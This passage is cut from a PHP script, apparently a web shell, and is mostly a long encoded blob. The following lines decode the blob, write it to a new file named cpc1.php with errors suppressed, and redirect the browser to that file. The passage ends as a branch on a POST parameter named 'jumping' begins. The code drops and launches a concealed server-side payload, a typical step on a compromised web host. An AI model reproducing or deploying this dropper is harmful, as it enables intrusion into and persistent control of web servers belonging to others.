XNjVEZ2a1o0TGZiWWxGTTRWa1o5WGZCa1NEQllnRHVPc2R0OWpkMjVNREJmMUZNeTBEQjlWUm1uUEZ0RlNrdW5MZDIxaURCNFZrMzUrVU05dmRCeGlIVTUwR3VXbWhUU1l0bVk1ZEJ4cGRNU1BrWjlQZDIxbFlaOG1SSk8xRjJhWmRKNG1SM24xQ014cEMxOVBmbzFTUjJrU2QyRnZDMjlWY01sbWZia2lmb2x2ZEo1WER1RW1SdE9YY285c0NCbFZSSmYrZ0xwdmQyMVNDVHdWZnVpMGtaTDdlV3B6R0IxU0RCNXFodEZ2RG85c2NURnZrWjRMZmJZbEZNNFZrWjlYZkJrU0RCWWdEdU9zZHQ5UWQyOXNkb3J2QzI5VmNNbG1mYmtpZm9sdmRKNVhEdUVtUnRPWGNvOXNDQmxWUkpmK2dMcHZkMjFTQ1RIVmZ1aTBrWkw3ZVdwekdCMVNEQjVxaHRGdkRvOXNjVEZ2a1o0TGZiWWxGTTRWa1o5WGZCa1NEQllnRHVPc2R0OTNEbzB2QzI5VmNNbG1mYmtpZm9sdmRKNVhEdUVtUnRPWGNvOXNDQmxWUkpmK2dsZlBkVHJWZnVpMGtaTDdlV3B6R0IxU0RCNXFodEZ2RG85c2NURnZrWjRMZmJZbEZNNFZrWjlYZkJrU0RCWWdEdU9zZHQ5M0RvMWpSMll2ZE1jcGMzYVpDYk9wZDI0VkZvaVhrWlhMRm9PdmRCeXBkSjRtZ201YkRvMFpSbU80ZnRGcEtYMGhGM2xzZG9sVkRaSW1SMml2ZEJBM1JaRlZrdWF6Y2JrVlJKRnZGdWFKZG9samIyaTBkQlh2RjNhWEZvOVpmdDlqZDI1TURCZjFGTXkwREI5VlJtblBGdEZTa3VuTGQyMWlEQjRWazM1K2EyaXNIWjUwR3VXbWhUU1l0bVk1ZEJ4cGRNU1BrWjlQZDIxbFlaOG1SSk8xRjJhWmRKNG1SM24xQ014cEMxOVBmbzFTUjJZU0RCYVZmdDlqZDI1TURCZjFGTXkwREI5VlJtblBGdEZTa3VuTGQyMWlEQjRWazM1K2EyaXNZdDUwR3VXbWhUU1l0bVk1ZEJ4cGRNU1BrWjlQZDIxbFlaOG1SSk8xRjJhWmRKNG1SM24xQ014cEMxOVBmbzFTUjJrcGRveHBkTWZ6UjJZdmRNY3BjM2FaQ2JPcGQyNFZGb2lYa1pYTEZvT3ZkQnlwZEo0bWdtNWJEbzAxUm1PNGZ0RnBLWDBoRjNsc2RvbFZEWkltUjJpdmRCQTNSWkZWa3VhemNia1ZSSkZ2RnVhSmRvbGpiMmkwZEJYdkNNbFNkb2xWY1o5amQyNU1EQmYxRk15MERCOVZSbW5QRnRGU2t1bkxkMjFpREI0VmszNSthMmlzWUo1MEd1V21oVFNZdG1ZNWRCeHBkTVNQa1o5UGQyMWxZWjhtUkpPMUYyYVpkSjRtUjNuMUNNeHBDMTlQZm8xU1IyWVNEQmFWZnVIdkMyOVZjTWxtZmJraWZvbHZkSjVYRHVFbVJ0T1hjbzlzQ0JsVlJKZitnbGZQZFRGVmZ1aTBrWkw3ZVdwekdCMVNEQjVxaHRGdkRvOXNjVEZ2a1o0TGZiWWxGTTRWa1o5WGZCa1NEQllnRHVPc2R0OTNEbzFqRlo5amQyNU1EQmYxRk15MERCOVZSbW5QRnRGU2t1bkxkMjFpREI0VmszNSthMmlzS3Q1MEd1V21oVFNZdG1ZNWRCeHBkTVNQa1o5UGQyMWxZWjhtUkpPMUYyYVpkSjRtUjNuMUNNeHBDMTlQZm8xU1IyOVpjb2FaUjJZdmRNY3BjM2FaQ2JPcGQyNFZGb2lYa1pYTEZvT3ZkQnlwZEo0bWdtNWJEbzA1Um1PNGZ0RnBLWDBoRjNsc2RvbFZEWkltUjJpdmRCQTNSWkZWa3VhemNia1ZSSkZ2RnVhSmRvbGpiMmkwZEJYdkNCT3NEQjR2QzI5VmNKNVhEdUVtUnRPWGNvOXNDQmxWUkpmK2dqQVZmdWkwa1pMN2VXcHpHQjFTREI1cWh0RnZEbzlzY1RGdmtaNExmYllsRk00VmtaOVhmQmtTREJZZ0R1T3NkdDlpY28xcGRKOWpkMjVNREJGVkZvaVhrWlhMRm9PdmRCeXBkSjRtZ200MFJtTzRmdEZwS1gwaEYzbHNkb2xWRFpJbVIyaXZkQkEzUlpGVmt1YXpjYmtWUkpGdkZ1YUpkb2xqYjJpMGRCWHZDMjlWY2w5bWRvOUpDQlhWRm9pWGtaWExGb092ZEJ5cGRKNG1nbTVwZG1jcEYybHZSbU80ZnRGcEtYMGhGM2xzZG9sVkRaSW1SMml2ZEJBM1JaRlZrdWF6Y2JrVlJKRnZGdWFKZG9samIyaTBkQlh2REI1amR1YUxjVTlMQ0o1WER1RW1SdE9YY285c0NCbFZSSmYrZ2pGVmZ1aTBrWkw3ZVdwekdCMVNEQjVxaHRGdkRvOXNjVEZ2a1o0TGZiWWxGTTRWa1o5WGZCa1NEQllnRHVPc2R0OWpkMjVWY0JZMFJtblBGdEZTa3VuTGQyMWlEQjRWazM1K0t0NTBHdVdtaFRTWXRtWTVkQnhwZE1TUGtaOVBkMjFsWVo4bVJKTzFGMmFaZEo0bVIzbjFDTXhwQzE5UGZvMVNSMjFxYjJZdmRNQ1ZGb2lYa1pYTEZvT3ZkQnlwZEo0bWdtNXNEWjFYZDNrMENCeGxIVTUwR3VXbWhUU1l0bVk1ZEJ4cGRNU1BrWjlQZDIxbFlaOG1SSk8xRjJhWmRKNG1SM24xQ014cEMxOVBmbzFTUjJsVkMyeDFjb0F2QzI5VmNNbG1SbW5QRnRGU2t1bkxkMjFpREI0VmszNStIVHdWZnVpMGtaTDdlV3B6R0IxU0RCNXFodEZ2RG85c2NURnZrWjRMZmJZbEZNNFZrWjlYZkJrU0RCWWdEdU9zZHQ5emNiTzBEQjVtRlo1WER1RW1SdE9YY285c0NCbFZSSmYrZ2xZc2NKNTBHdVdtaFRTWXRtWTVkQnhwZE1TUGtaOVBkMjFsWVo4bVJKTzFGMmFaZEo0bVIzbjFDTXhwQzE5UGZvMVNSMmxWQzJ4MWNvYXpSMmMxZE1ZMERCOVZGWjVYRHVFbVJ0T1hjbzlzQ0JsVlJKZitnbW5QRm9rSkhaNTBHdVdtaFRTWXRtWTVkQnhwZE1TUGtaOVBkMjFsWVo4bVJKTzFGMmFaZEo0bVIzbjFDTXhwQzE5UGZvMVNSMmxWQzJ4MWNvQXZjb3dWRm9pWGtaWExGb092ZEJ5cGRKNG1nbTVwZE1jcGRNbDBHVTUwR3VXbWhUU1l0bTBZdEpPTEhvMWlEQjV6d2UwSVdvY3Bkb0FQd0o5bGZvSHZkTXlzY0JXVkMyOVZjSndwS1gwaERCQ1Brb1dYZEJ5cGRtSHBlV3A3ZVdwc0QyT3BGSklMY000cEtYMGhDMmlMRGJ3UGtvY1ZoVFNZdE1jdkZNYWlDMklQa29XWGRCeXBkbUhJQ2JISWtvV1hkQnlwZEpMWXRtU1l0TWxNaG9hWmNCZnBodGs2ZDI1bHdKWExjZW5zQ0JsVmhVTFl0bVNZdG1uWmNCZmdkQnkwQzJpZ0NCeFNodEZqR005VmNVRUpodDRRaFV3amtaWElrb1dYZEJ5cGRKWElrb092ZEJ5cGRtSHBLWDBoY014MUYySVBoVFNZdE1sTWh1WTBGTXhsZEppMEZNbHNodE9MZDIxaURCNXpCenlmQnpuZmhVTElOSkVaaFcwaEdaRVl0Sk8xRjJhWndlMElGbzl6RGJpZ2MyYTBGdWYxREJXUFdvY3Bkb2F2ZjI1bEZKSUpSMmEwQ1o5MkNCeHBDYllsRlo4SlJKT0xkMjFpREI1ekJ6eWZCem5maFVMN2VXcHpHQjFTaHRPMUYyYVpCWmZWQ0IxbGsxMFNrb092ZEJ5cGRtWWRIYTFkSHkwcEtYMGhnVzBoZ1cwaGdXMGhjQllQZFpFSk5vWWxkbU9sRmo0OGNNOVZmdG5qZDJ4dkZqMVNEQjFsd3VZcEdNQTlIejVkd3JPdmRNQUliVFh2Y005VmZlNDhSMllsZG1PbEZqNEpLWDBoY0JZUGRaRUpOb2taTmp4amNCNTBjYncrTm9ySUR1a2xjajBMY000dnd1T2lGTWZsZmUxZ0NNeGlkTVMrTm9jdmRtV0lGMmw2Y1QwendvWXZkbzlaTlVIWEhlTDVIZUUrZ3RudWRabndjYmtsd3VYOFIyY3ZkbVcrTnQ5aU5qWHZDMmFWZm9hWk5KdzdlV3A5ZVdwbGR1WWxlV3A3ZVdwc0QyT3BGSklMY000cEtYMGhDMmlMRGJ3UGtvY1ZoVFNZdEpPMGNCMVh3ZTBJd0p3N2VXUExmTXlTSFVFOXdlRTdlV1BMZk15U0hKRTl3ZXJYSGVFN2VXcE1kM3dQS1pPMkNCWHh3ZVg5d3RPMkNCWFpLWk8yQ0JYeGhaU3B3RTBoR1gwaGt1YXBjdEU5d3JuWGQzWXBHeTltY2JPWGYzYXBjdElMZk15U0hVTDdlV3BwY0pFUGt1YXBjdExZdEpPMGNCMVh3dDQ5d29wdkRCNFBrelBtUnRPMURCV3BSSmtGZEp3N2VXcDllV3BsQzJpdnd0RjhDbXd2TkpGN2VXUExmb2FzRnRFOXd1T1pEQjBQa3VPbGRiRXBLWDBoa29jcGRvQTF3ZTBJY005WGNCNFB3bU9sRjNXVmZ1aTB3SlhKZlp3cEtYMGhjbW4xZnVIUGtvY3Bkb0ExUnRPMGNCMVhoVFNZdE1jamRvOXpjVUlMY01sU2NUQXBLWDBoa29pMENCWWpjYll6d2UwWXRKZkFIMHdYQ2FGNWZCWTVXTWlKTzNmbVcyc1VGb1lzYU1wTE96bDVjYWFTZmFwdWFqT2tVcnBTQmFmVWZ5cFRZQjlMT3p5elVBeVhXbHB1QWxhbEJya1NVQWlVZG9hd0FiY2pPM2lQZVdwaWF6T21UbzV0ZDJZZVdBc09hMWtxQTBmb2ZhcHVHb3hqREFrNkJsaWhIbHBDVWJPak8wYzVDemtCRDBsZVliZmlVcnltVzJzb0QxcG9BamFqTzFhbWNyZkJZb09lS2JmSk8wY1hlV3BKREF5MUNBaVVmb2tlV0FzT2Exa3FBMGZvZmFwdUdveGpEQXdYY0FpT2MweHNEZW5KYTNmbVcyeGhkb1lDYW1uamRhYW1hbzA1ZmFwVFdBc2FITENYQ2FpS2RCYVRXTGtKZE1TOWVXUG1LWDBoa29jcGRvQUlOVW5NZDNubGRKSUpSTWkwQ0JZamNiWXp3SlhKZlpTSmhUU1l0Sk8zRk1sMGNVRTl3b2MzRk1sMGNVRVBrb2NwZG9BSVJva2lGMkEyWXk5TGNCWXZjb0FQa29pMENCWWpjYll6aFVMN2VXUExjTWxTY1VFOXdvY3ZGb2FWaHRrMGNiWTBSbU80ZnR3U3d0a1p3SkxJZDN3SWNiaXBmdElKYUI1aUNNeGx3dU92d285WGNCNEljTWxTY1VySmhUU1l0bWZQREJ4bGh0eU1jQjlNaHRPTURCeGxoVUxZdG1TWXRKT3p3ZTBJY01mbGZ1SFBrb2NwZG9BcEtYMGhrbzFpZm9ZUGNiSElOVW5pRm1raUdVSXBLWDBoa3VXSU5VblhGTWFtYjIxaWZvWVBodEZ2YnQ4UFJKUC9oYVg2YnQ4dkZaRlN3dE96UnRFTGRCeTBDMmlsRlpMN2VXUExkQnkwQzJpbEZaRTl3dVkwRmw5WmNiblNDQllsaHRrUGQyMWxSWndTd0p3U2tvMWlmb1lQY2JZZEhhMHBLWDBoREJDUEYzT1pkb2FWaHRPc0NiT2pEb2F6aFVFK3dlclp3dXg4d3VZMEZNeGxkSklMZEJ5MEMyaWxGWkxJTlQwSUh0bjhndEVMZEJ5MEMyaWxGWkU5TlVFSkNNbFZ3Sm44Z3RFTGRCeTBDMmlsRlpFOU5VRUpjYk9qUjFJeEhVOU1GWndJZ3VYSWtvMWlmb1lQY2JISU5UMEl3bWNpRko5U0RCd3ZkTWN6d0puOGd0RUxkQnkwQzJpbEZaRTlOVUVKZk15WlIyeVpGdWZpZm9ZUHdKbjhndEVMZEJ5MEMyaWxGWkU5TlVFSmZNeVpSMmZ2Rm9pbEZKd0lndVhJa28xaWZvWVBjYkhJTlQwSXdtWUpEQjRKd3V4OHd0T3NDYk9qRG9hendlMDl3dGsyQ2J3dkNCT3N3Sm44Z3RFTGRCeTBDMmlsRlpFOU5VRUpmYllaUjJmaWRCYXp3Sm44Z3RFTGRCeTBDMmlsRlpFOU5VRUpmTXlaUjJjMEZ0d0lndVhJa28xaWZvWVBjYkhJTlQwSXdNYTBDWjlWZnVFSnd1eDh3dE9zQ2JPakRvYXp3ZTA5d3RrMkNid3ZmM2Yzd0puOGd0RUxkQnkwQzJpbEZaRTlOVUVKZk15WlIyNWlkQmFMd0pMWXRNWXZkbU9wZG1hbEtYMGhGM2xzZHRJTGRCeTBDMmlsRlpYTGRCeTBDMmlsRlpMN2VXcDllV3BNQzJ4dkYyQVBrb2NwZG9BcEtYMGhjQllQZFpFSk50OTBDQmtTY1Q0SktYMGhmQjVTREI1cWh0azBjYlkwUm1PNGZ0d3BLWDBoY0JZUGRaRUpOb1lsZG1PbEZqNDhjTTlWZnRuamQyeHZGajFTREIxbHd1WXBHTUE5SHo1ZHdyT3ZkTUFJYlRYdmNNOVZmZTQ4UjJZbGRtT2xGajRKS1gwaGNCWVBkWkVKTm9rWk5qeGpjQjUwY2J3K05vcklEdWtsY2owTGNNNHZ3dU9pRk1mbGZlMWdDTXhpZE1TK05vY3ZkbVdJRjJsNmNUMHp3b1l2ZG85Wk5VSFhIZUw1SGVFK2d0bnVkWm53Y2JrbHd1WDhSMmN2ZG1XK050OWlOalh2QzJhVmZvYVpOSnc3ZVdwOWVXcGxDMml2d3R3OER1dytOb1lsZG1PbEZqNDhDajQ4Q1VuUEZNYU1OVXdWa3k5VE9ha0JPYWtkazFud0F5OVRPQXhvazEwVndqNXRXQVlSTnQ5aU5KdzdlV3BsR29sMEtYMGhnVzBoSzJhakRvOElrenhNZDNrc3dvMWxmb2l2Y2UwSkFyOVRhdHdJZm95WmMyYTBOVWtnQ014aWRNU0pOSTBodFR4emZ1a3ZkTUYrZVdQOERCNVhmYldJZE15c2NUMEpGb3ltY1V3SWZ1bFhjVDBKRG9sTGNvYVZ3Sm4yQ0J4MWNUMEpjTWxWY3R3K3d0RUl3dEVJd3RFa3RXTGtlV1BJd3RFSU50OXpmdWt2ZE1GK2VXUEl3dEVJTnVPaUNNeGx3dWZwY3VPUE5VdzJIZUVKd29rdkZNT2xGajBKSHR3SUMyYVNkdW5pY29PcGRNRjl3akhKd29ZbGRveHpGb3lqREI1bU5Vd3h3Sm5pZG9sbWRqMEpDMmFWZm9hWndqNFl0SkVJd3RFOGZ1dytlV1BJd3RFSXd0RUl3ZXgwY3RuMkNCeHBjMjQ5d21PdkZ0d0lDTWZqZDJ4dkZqMEp3enIxSFRBeFlVdytOb1lsZG1PbEZqNDhGM09aZDI1bU5qeHBkQkZJRjNrak5Va1BmdU9YS0o4dkRVNXBkQmYxRko1amQyMHZCeXB3Y0w1MEF0NVhkTUZKd3Q4K05va1pOSTBodFdMOFIzWTBGTTlWY3o0OFIyWWxkbU9sRmo0OFIzT0xOSTBod3RFSXdlWHZmdXcrZVdQSXd0RUlOdU9aTkkwaHd0RUl3ZXgwY2U0WXRKRUl3dEU4Zm95SmRvQUlmMmxMZm9JOXdqclhIdEFKd29rdkZNT2xGajBKSHR3SUMyYVNkdW5pY29PcGRNRjl3akhKd29ZbGRveHpGb3lqREI1bU5Vd3h3Sm5pZG9sbWRqMEpDMmFWZm9hWndqNFl0SkVJd3RFOGZvV0lmTXlTREJmVk5VazBkM0VKd29rbUMyOVNkM3c5d0pIeFlUcjFIVEFKd29ZU0NiWXpOVWt6ZnVsU2NUd0p3dVkwR0J4bE5VazNEQk8wRGVQSUhUSDVGdUlKTkkwaHRUeHpmdWt2ZE1GK2FiWWxGSkU2TnQ5emZ1a3ZkTUYrTnQ5MGNlNFl0SkVJd3RFOGZvV0lmTXlTREJmVk5VazBkM0VKd29rbUMyOVNkM3c5d0pIeFlUcjFIVEFKd29ZdmR1WVhDQjQ5d2pBSk5qeHpmdWt2ZE1GK051T2xHdU9pRk1haXdvWXZkdUg5d2pXWHdKblpkM2Z6TlV3eEh0d0lkTXlzY1QwSmZiWWxGTTVpZEJhendqNG1LM1k1RjNPbGRVSW1kdUhJUjNjaUZKOXNDQmxTa1pMN0syYWpEbzhJa3pYdmZvYTRmb3laY0JyK050OXpmdWt2ZE1GK050OTBjZTRZdEpFSXd0RThSM09aTkkwaHd0RUl3ZXgwRmo0WXRKRUl3dEU4Zm9XSWZNeVNEQmZWTlVrMGQzRUp3b2ttQzI5U2Qzdzl3Skh4WVRyMUhUQUp3b1lTQ2JZek5Va3pmdWxTY1R3Snd1WTBHQnhsTlVrM0RCTzBEZVBJSFRINUZ1SUpOSTBodFR4emZ1a3ZkTUYrQW95ekZaRTZOdDl6ZnVrdmRNRitOdDkwY2U0WXRKRUl3dEU4Zm9XSWZNeVNEQmZWTlVrMGQzRUp3b2ttQzI5U2Qzdzl3Skh4WVRyMUhUQUp3b1l2ZHVZWENCNDl3akFKTmp4emZ1a3ZkTUYrTnVPbEd1T2lGTWFpd29ZdmR1SDl3aldYd0puWmQzZnpOVXd4SHR3SWRNeXNjVDBKRm95ekYzZnZGTU96d2o0OFIzT2xHdU9pRk1haU5qWHZGM09aZDI1bU5qWHZmb1crZVdQSXd0RUlOdDkwRmo0WXRKRUl3dEU4ZnV3K2VXUEl3dEVJTnVPTHd1Y2lkb2xtZGowSmZvOVh3Sm5KYzJZdmRvOVpOVXdqSFRBeFlUcjF3Sm5qZG95ekZ6MEpGM081ZG9BWndKbnpmdWxTY1QwSmYybExmb0k2d2VyektibjR3ajRZdElMOEYzT1pkMjVtTmxPNUZvQUlLalh2RjNPWmQyNW1Oalh2Zm9XK2VXUEl3dEVJTnVPTHd1Y2lkb2xtZGowSmZvOVh3Sm5KYzJZdmRvOVpOVXdqSFRBeFlUcjF3Sm5qZDJ4ekZveVZOVXcxd2o0WXRKRUl3dEU4RjNuaWRKbmpkb3l6RnowSkYzTzVkb0Fad2o0OEYzT1pkMjVtTmxZcGRiblNjVUU2d2VYdkYzT1pkMjVtTkpFOFIzWVhDQjQrZVdQa051WTBGTTlWY3o0WXRJTDhEQjVYZmJXSWZ1bFhjVDBKRk15TERCOEp3bzVpZEJBOXdtTzVGb0FKd3VjaWR1YWxOVWt6REIxWGRvQUp3b1lQY0JZcWNCVzl3TVlQY0JZcWNCV0p3b1lTQ2JZek5Va3pmdWxTY1RISk5qWHZGM09aZDI1bU5JMGh3dEVJd2V4TWQyNTB3b1lTQ2JZek5Va3pmdWxTY1R3Sk5qeHpmdWt2ZE1GK1IyYTBDWjlYQ2JZemYyV0lLSkU4UjNZMEZNOVZjejRJTnQ5TWQyNTBOSTBodFR4emZ1a3ZkTUYrZVdQa05vbFZGdWEwd3VPNUZvQTl3bWtpY29sdndKblZDQjFsTlVrMEdibmx3Sm4yQ0J4MWNUMEpGb3l6RjNmTHdKbmpkb3l6RnowSkYzTzVkb0F6d2o0OFIzWTBGTTlWY3o0OEYzbmlkSm5qZG95ekZ6MEpGM081ZG9BendqNDhGM09aZDI1bU5JMGh0VFh2RjNPWmQyNW1OSTBodFRYdkYzbmlkajRZdEpFSXd0RThSM09MTkkwaHd0RUl3ZVh2ZnV3K2VXUEl3dEVJTnVPWk5JMGh3dEVJd2V4MGN0bjJDQnhwYzI0OXdtT3ZGdHdJQ01mamQyeHZGajBKd3pyMUhUQXhZVXdJRjNPNWRvQTl3bWZwY3VPUEtKRXhIemxYR3R3K050OTBjZTRZdEpFSXd0RThmb1dJZk15U0RCZlZOVWswZDNFSndva21DMjlTZDN3OXdKSHhZVHIxSFRBSndvWXZkdVlYQ0I0OXdqQUpOanh6ZnVrdmRNRitOb2xWRnVhMHd1TzVGb0E5d21ZMUNNMXBmdHdJZk15U2ZCQTl3bVkwQ2JrMHdqNFl0SkVJd3RFOFIzWTBGTTlWY3o0WXRKRUl3dEU4UjNPTE5JMGh3dEVJd2V4MEZqNFl0alh2Y005WmRUNEllV1A4ZnV3K2VXUEl3dEVJTnVPTHd1Y2lkb2xtZGowSmZvOVh3Sm5KYzJZdmRvOVpOVXdqSFRBeFlUcjF3Sm5qZG95ekZ6MEpGM081ZG9BeHdKbmpkMnh6Rm95Vk5VdzJ3ajQ4RjNPWmQyNW1OTGZsZnRuZWQyNU1EQkZJS2pYdkYzT1pkMjVtTmpYdmZvVytlV1BJd3RFSXRXTGt0VFh2ZnV3K2VXUDhjTTlaZFVuc2NiT1BkMlc5d2xuTkExV0p3dU9pRk1mbGZlMEpiMmtTQ0I1cXdqNFl0SUw4RjNPWmQyNW1OSTBoTm9sVkZ1YTB3bzVpZEJBOXdNMWxkTU9pRm95MEQyeVZ3Sm4wR2JubE5Va1BEQk9MY0I0Snd1Y2lkdWFsTlVrWENiWXpmMldKTkpFSXd0RUl3dEVJdFdMa3RXMGh3dEVJd2VYdkYzT1pkMjVtTkkwaHd0RUl3ZXgwRmo0WXRKRUl3dEU4Zm9XSWZNeVNEQmZWTlVrMGQzRUp3b2ttQzI5U2Qzdzl3Skh4WVRyMUhUQUp3dVkwR0J4bE5VazNEQk8wRGVQSUhUSDVGdUlKTmp4emZ1a3ZkTUYrT005U2NvYVp3cjVpZEJBSUtqWHZGM09aZDI1bU5qWHZmb1crZVdQSXd0RUlOdU9Md3VjaWRvbG1kajBKZm85WHdKbkpjMll2ZG85Wk5Vd2pIVEF4WVRyMXdqNDhGM09aZDI1bU5qeHBkbW4xZnRuekRicGxOVXd6WVV3SWRNeXNjVDBKY005U2NvYVpkTXlzY1V3SWZ1bFhjVDBKZm9hNGZ0dytOdDl6ZnVrdmRNRitOdDkwY2U0WXRJTDhSM1kwRk05VmN6NFl0SkVJd3RFOFIzT0xOSTBod3RFSXdlWHZmdXcrZVdQSXd0RUlOdU9aTkkwaHd0RUl3ZXgwY3RuMkNCeHBjMjQ5d21PdkZ0d0lDTWZqZDJ4dkZqMEp3enIxSFRBeFlVd0lGM081ZG9BOXdtZnBjdU9QS0pFeEh6bFhHdHcrTnQ5MGNlNFl0SkVJd3RFOGZvV0lmTXlTREJmVk5VazBkM0VKd29rbUMyOVNkM3c5d0pIeFlUcjFIVEFKd29ZdmR1WVhDQjQ5d2pBSk5qeHpmdWt2ZE1GK05vbFZGdWEwd3VPNUZvQTl3bVkxQ00xcGZ0d0lmTXlTZkJBOXdMZk53ajRZdEpFSXd0RThSM1kwRk05VmN6NFl0SkVJd3RFOFIzT0xOSTBod3RFSXdleDBGajRZdGpYdmNNOVpkVDRJd3RFWXRqeDBGajRZdEpFSXd0RThmb1dJZk15U0RCZlZOVWswZDNFSndva21DMjlTZDN3OXdKSHhZVHIxSFRBSndvWVNDYll6TlVremZ1bFNjVHJKd29ZdmR1WVhDQjQ5d2pDSk5qeHpmdWt2ZE1GK08yYTB3eWZ2Rk1PU0RiWTBOdDl6ZnVrdmRNRitOdDkwY2U0WXRKRUl3dEVrdFdMa050OTBGajRZdGp4TWQza3N3bzFsZm9pdmNlMEpBcjlUYXR3SWZveVpjMmEwTlVrZ0NNeGlkTVNKTkkwaHRUeHpmdWt2ZE1GK2VXUDhEQjVYZmJXSWRNeXNjVDBKRm95ekZad0lmdWxYY1QwSkRvbExjb2FWd0puMkNCeDFjVDBKRm95ekYzZnZGTVdKTkpFSXd0RUl3dEVJdFdMa3RXMGh3dEVJd2VYdkYzT1pkMjVtTkkwaHd0RUl3ZXgwRmo0WXRKRUl3dEU4Zm9XSWZNeVNEQmZWTlVrMGQzRUp3b2ttQzI5U2Qzdzl3Skh4WVRyMUhUQUp3dVkwR0J4bE5VazNEQk8wRGVQSUhUSDVGdUlKTmp4emZ1a3ZkTUYrYWJrU3dyWXZkTWNwY1pFNk50OXpmdWt2ZE1GK050OTBjZTRZdEpFSXd0RThmb1dJZk15U0RCZlZOVWswZDNFSndva21DMjlTZDN3OXdKSHhZVHIxSFRBSk5qeHpmdWt2ZE1GK05vbFZGdWEwd3VZcEdNQTl3akgxd0puVkNCMWxOVWsxRk1YSnd1TzVGb0E5d21PbEd1V0pOalh2RjNPWmQyNW1Oalh2Zm9XK2VXUGtOdDl6ZnVrdmRNRitlV1BJd3RFSU50OTBjZTRZdEpFSXd0RThSM09aTkkwaHd0RUl3ZXgwRmo0WXRKRUl3dEU4Zm9XSWZNeVNEQmZWTlVrMGQzRUp3b2ttQzI5U2Qzdzl3Skh4WVRyMUhUQUp3dVkwR0J4bE5VazNEQk8wRGVQSUhUSDVGdUlKTmpYdmZvVytlV1BJd3RFSU51T0x3dWNpZG9sbWRqMEpmbzlYd0puSmMyWXZkbzlaTlV3akhUQXhZVHIxd0puamQyeHpGb3lWTlV3MXdqNDhGM09aZDI1bU5qeHBkbW4xZnRuMEdibmxOVWt6ZkJrc0RiV0p3dWNpZHVhbE5Va3VUWncrZVdQSXd0RUlOdDl6ZnVrdmRNRitlV1BJd3RFSU50OTBjZTRZdEpFSXd0RThmdXcrZVdQOFIyY3ZGTTArZVdQOGZ1dytlV1BJd3RFSU51T0x3dWNpZG9sbWRqMEpmbzlYd0puSmMyWXZkbzlaTlV3akhUQXhZVHIxd0puamRveXpGejBKRjNPNWRvQXh3Sm5qZDJ4ekZveVZOVXcyd2o0OEYzT1pkMjVtTkxsVmNNOEllV1BrQTJhamZia3BmdUw4UjNZMEZNOVZjejQ4UjNPTE5JMGh3dEVJd0VMa3RXTDhSM09aTkkwaHd0RUl3ZXgwRmo0WXRKRUl3dEU4Zm9XSWZNeVNEQmZWTlVrMGQzRUp3b2ttQzI5U2Qzdzl3Skh4WVRyMUhUQUp3dVkwR0J4bE5VazNEQk8wRGVQSUhUSDVGdUlKTmp4emZ1a3ZkTUYrQTJ5TWNVbllkMk9sTnQ5emZ1a3ZkTUYrTnQ5MGNlNFl0SkVJd3RFOGZvV0lmTXlTREJmVk5VazBkM0VKd29rbUMyOVNkM3c5d0pIeFlUcjFIVEFKd29ZdmR1WVhDQjQ5d2pBSk5JMGh0VHh6ZnVrdmRNRitlV1BtS1gwaGt1WWljTWFnZEI5TGNVRTl3b2xWRGE5bWNiV1BrM1lpY01hZ2RCOUxjVUZwS1gwaERCQ1BrdVlpY01hZ2RCOUxjVDA5a3pybWhXMGhHWDBoY0JZUGRaRW1UMDRtS1gwaGdCYVNGMmE3ZVdwbEMyaXZ3dGZOT0xDbUtYMGhnVzBoSzJhakRvOElrWExZdElMOFIzWTBGTTlWY3o0a2VXUGtOdDkwY2U0WXRKRUl3dEVrdFdMa050OTBGajRZdEpFSXd0RThmdXcrZVdQSXd0RUlOdU9Md3VjaWRvbG1kajBKZm85WHdKbkpjMll2ZG85Wk5Vd2pIVEF4WVRyMXdKbnpmdWxTY1QwSmYybExmb0k2d2VyektibjR3ajQ4RjNPWmQyNW1OTE9sRjJsSmRvQUlPbWFWQzNPcGQyNDhSM1kwRk05VmN6NDhSM09MTkkwaHd0RUl3ZXgwY3RuMkNCeHBjMjQ5d21PdkZ0d0lDTWZqZDJ4dkZqMEp3enIxSFRBeFlVd0lDMjlTRjNuaWRqMEpZVXcrZVdQa051WTBGTTlWY3o0WXRqeE1kM2tzd28xbGZvaXZjZTBKQXI5VGF0d0lmb3laYzJhME5Va2dDTXhpZE1TSk5JMGh0VHh6ZnVrdmRNRitlV1A4REI1WGZiV0lkTXlzY1QwSmRCeTBEQnNpZEp3SWZ1bFhjVDBKRG9sTGNvYVZ3Sm4yQ0J4MWNUMEpGMmFxQ2JPaWRKdyt3dEVJd3RFSXd0RWt0V0xrZVdQSXd0RUlOdDl6ZnVrdmRNRitlV1BtS1gwaERCQ1BrWkY5TlVJTGNtYVZDejFFREI1cGIyZmxmdEltY29sekNCa1NjYTlNZkI1amZvbHZkbUhtaFVMcGVXcDdlV3BsQzJpdnd0dzhjTTlWZnRuamQyeHZGajBqSGVFNEhlbm9OTDV2d3lZbEMzYVpEYk81d29jdkZKbm9mQjVqZm9sdmRqWHZjTTlWZmU0OFIydyt3alNZdG0xbGR1WWxHWDBoY0JZUGRaRW1OdVlqRk1sWGZlNWlkb2FaZnRJSkFveGxDYllsd3VZbGNVbkpjQnh2ZlpuaWRNV0lGdWtsRjNISU5sblNjQnl6Y1VuZWRvbGpEWm53Y2JrbHdyY3BGbVkwd1RYSmhUUzhSM1lqRk1sWGZlNG1LWDBoY0JZUGRaRUpOb2N2ZG1XSUMyOVNkM3c5Rk1hTE5KT01mQjVqTnQ5TWQyNTBOalh2Q2o0SktYMGhjQllQZFpFbU51T1pOangwY3RuMkNCeHBjMjQ5d21PdkZ0d0lDTWZqZDJ4dkZqMEp3enIxSFRBeFlVd0lGM081ZG9BOXdtZnBjdU9QS0pFeEh6bFhHdHcrTnQ5MGNlNG1LWDBoY0JZUGRaRW1OdU9Md3VjaWRvbG1kajBKZm85WHdKbkpjMll2ZG85Wk5Vd2pIVEF4WVRyMXdKbmpkMnh6Rm95Vk5VdzF3ajQ4RjNPWmQyNW1OanhwZG1uMWZ0bjBHYm5sTlVremZCa3NEYldKd3VjaWR1YWxOVWtXZG9haUYyQUlXMnhwQzJTSVVvYVpjVW5vRGJremZ0ckpOSTBod3RFSXdlWHZGM09aZDI1bU5JMGh3dEVJd2VYdmZvVytOdDkwRmo0bUtYMGhnVzBoSzJhakRvOElrelh2RjNPWmQyNW1Oalh2Zm9XK2t6Uz0=
  2002. ";
  2003. $lalalala = @fopen("cpc1.php", "w");
  2004. @fwrite($lalalala, base64_decode($cpc_c));
  2005. @fclose($lalalala);
  2006. header("Location:cpc1.php");
  2007. }
  2008.  
  2009. if (isset($_POST['jumping'])) {
